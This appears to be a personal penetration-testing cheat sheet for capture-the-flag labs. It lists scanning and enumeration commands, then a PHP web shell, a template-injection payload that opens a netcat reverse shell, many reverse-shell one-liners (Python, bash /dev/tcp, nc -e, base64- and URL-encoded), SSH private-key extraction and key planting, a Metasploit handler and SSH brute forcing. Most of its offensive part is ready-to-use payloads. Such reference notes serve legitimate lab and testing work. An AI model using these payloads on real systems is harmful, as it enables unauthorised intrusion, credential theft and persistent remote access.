updated 22/01/2022
Scanning Tools:
Rustscan
Find open ports – similar to nmap but quicker.
Requires docker for install
rustscan -a **Hostname** -u 2500
Nmap
Find open ports and services
Scan for Services:
nmap **hostname** -v -sV
Run default scripts on found services:
nmap **hostname** -v -sV -Sc
Strings
Find all strings in a file
strings **filename**
Binwalk
Find all files embedded in a file
binwalk -e **filename**
Enumeration Tools:
Amass subdomain scanner
amass -d **domain** **anotherdomain**
lse.sh
https://github.com/diego-treitos/linux-smart-enumeration/blob/master/lse.sh
Enum4Linux
Enumerates Linux hosts
enum4linux -a 10.10.11.108
FFUF
#subdomain
ffuf -c -u http://devzat.htb -H "Host: FUZZ.devzat.htb" -w ~/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200
#files
ffuf -u http://pets.devzat.htb/FUZZ -w ~/tools/SecLists/Discovery/Web-Content/raft-small-words.txt -fs 510
PSPY
Resource monitoring without root
https://github.com/DominicBreuker/pspy
GoBuster
Enumerates websites based on a worldlist.
Directories:
gobuster dir -u **hostname** -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --wildcard
Subdomains:
gobuster vhost -u **hostname** -w /home/dev/subdomains-top1million-110000.txt -r
PHP Files:
gobuster dir-u **hostname** -w /home/dev/subdomains-top1million-110000.txt -xphp
DirSearch
Web enumeration
python3 dirsearch.py -u 10.10.11.104
WFuzz
Subdomain:
wfuzz -w **wordlist** -u http://**HOST**/ --hc 301 -v -c -H "Host:FUZZ.**hostname**"
Pages:
wfuzz -w **wordlist** -u http://**SUBDOMAIN.HOST**/FUZZ -v -c --hc 404,403 -hw 33
Parameters:
wfuzz -u http://10.10.11.135/image.php?FUZZ=/etc/passwd -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -t 50 --hh 0
Whatweb
Determines the type of a website, such as “WordPress”
whatweb **hostname**
Searchsploit
Searches for exploits in a given platform
searchsploit **platform** **version**
e.g:
searchsploit wordpress 5.8.2
Find files with read/write access
find / -type f -user **user** -perm 600 2>/dev/null
WordPress Scan
Scans wordpress sites
wpscan --url http://**HOSTNAME**/ --api-token **TOKEN** --enumerate p,u --plugins-detection aggressive
Find SETUID files
find / -perm -u=s -type f 2>/dev/null
Command Injection Examples
PHP
<?php system($_GET[cmd]);?>
Reconnaissance tools:
Chisel
Allows you to redirect traffic from a running port or service by using a client and server on each target.
Server:
git clone https://github.com/jpillora/chisel
cd chisel && CGO_ENABLED=0 go build -ldflags="-s -w"
sudo ./chisel server -p 8000 --reverse
Client:
./chisel client **SERVERIP**:8000 R:**porttoforward**:127.0.0.1:**porttoforward**
Port Forward traffic using SSH
ssh -i **privateKey** -L **portToForward**:127.0.0.1:**portToForward** **user@host**
Netcat
open a specified port and listen:
sudo nc -lvnp **port**
make a connection
nc **host**
Git Extractor
wget https://raw.githubusercontent.com/internetwache/GitTools/master/Extractor/extractor.sh
Git Dumper
wget https://raw.githubusercontent.com/internetwache/GitTools/master/Extractor/extractor.sh
/gitdumper.sh http://pets.devzat.htb/.git/ HTBdevzat
Identify Hashed strings
https://hashes.com/en/tools/hash_identifier
Privilege Escalation
Extract user ssh key
#extract the key
echo $(cat /home/**user**/.ssh/id_rsa) > /dev/tmp/key`;
#place it in the client system, use it to make a ssh connection
ssh -i *keyfile* user@hostname.fqdn
Useful File Locations:
Linux
/etc/passwd
/etc/shadow
/var/log/mysql/error.log
Resources:
Exploit DB
https://www.exploit-db.com/
Reverse Shell Guide
https://sentrywhale.com/documentation/reverse-shell
Sub Domain List
https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-110000.txt
Vulners
http://vulners.com
Exploit Tools
Evil-WinRM
Access Win-rm using linux
evil-winrm -i **hostname** -u **user** -p **password**
crackmap
Exploitation tool for linux which targets a number of protocols.
SMB – check credentials:
crackmapexec smb **hostname** -u **user** -p **password**
winrm – check credentials:
crackmapexec winrm **hostname** -u **user** -p **password**
MetaSploit
init the framework:
sudo msfdb init
start DB:
sudo msfdb start
connect to console:
msfconsole -q
search for exploit:
search **platformname**
get current user:
getuid
execute a remote command:
execute -f cmd.exe -c -i
spawn a listener:
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost <mymachine>
set lport <myport>
run
Shell one Liners:
Serverside Template Injection
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc *IP* *PORT* >/tmp/f')|attr('read')()}}
Python3
exec python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.15",12234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Bash
bash -c 'bash -i >& /dev/tcp/**ip**/**port** 2>&1
bash -c 'bash -i >& /dev/tcp/**IP**/**port** 0>&1'
mkfifo /tmp/lol;nc **IP** **PORT** 0</tmp/lol | /bin/sh -i 2>&1 | tee /tmp/lol
Encode to base 64
#encode
echo -n 'bash -i >& /dev/tcp/10.10.14.6/9001 0>&1' | base64
#server (inject into web parameter)
echo -n ***encodedstring*** | base64 -d | bash
URL encoded Bash
bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.8/9001+0>%261'
NC
nc **clientip** -e /bin/bash
Web
%26/bin/bash+-c+'bash+-i+>+/dev/tcp/**IP**/**Port**+0>%261'
Stabilizing a shell
Python
python -c 'import pty;pty.spawn("/bin/bash")'
Inject SSH-key to target machine:
On Client:
ssh-keygen -t rsa -b 4096 -C '**user@domain**' -f **outputfile** -P ''
export PUBLIC_KEY=$(cat **outputfile**.pub)
Code Injection:
mkdir -p /home/**targetuser**/.ssh; echo $PUBLIC_KEY >> /home/**targetuser**/.ssh/authorized_keys"
CURL encode payload data
curl -i -H "**headers**" '**url**' -G --data-urlencode "**injectionPoint**;**injected commands**"
Privilege Escalation
Install ssh key via symlink
#*fileToWrite* must be named id_rsa.pub or keys
ln -s /root/.ssh/authorized_keys *fileToWriteTo*
Spawn a python webserver in current folder
python3 -m http.server 80
SSH Brute Force
msfconsole
use auxilary/scanner/ssh/ssh_login
set rhosts *target*
set username root
set pass_file *wordlist*
set verbose true
set stop_on_success
run
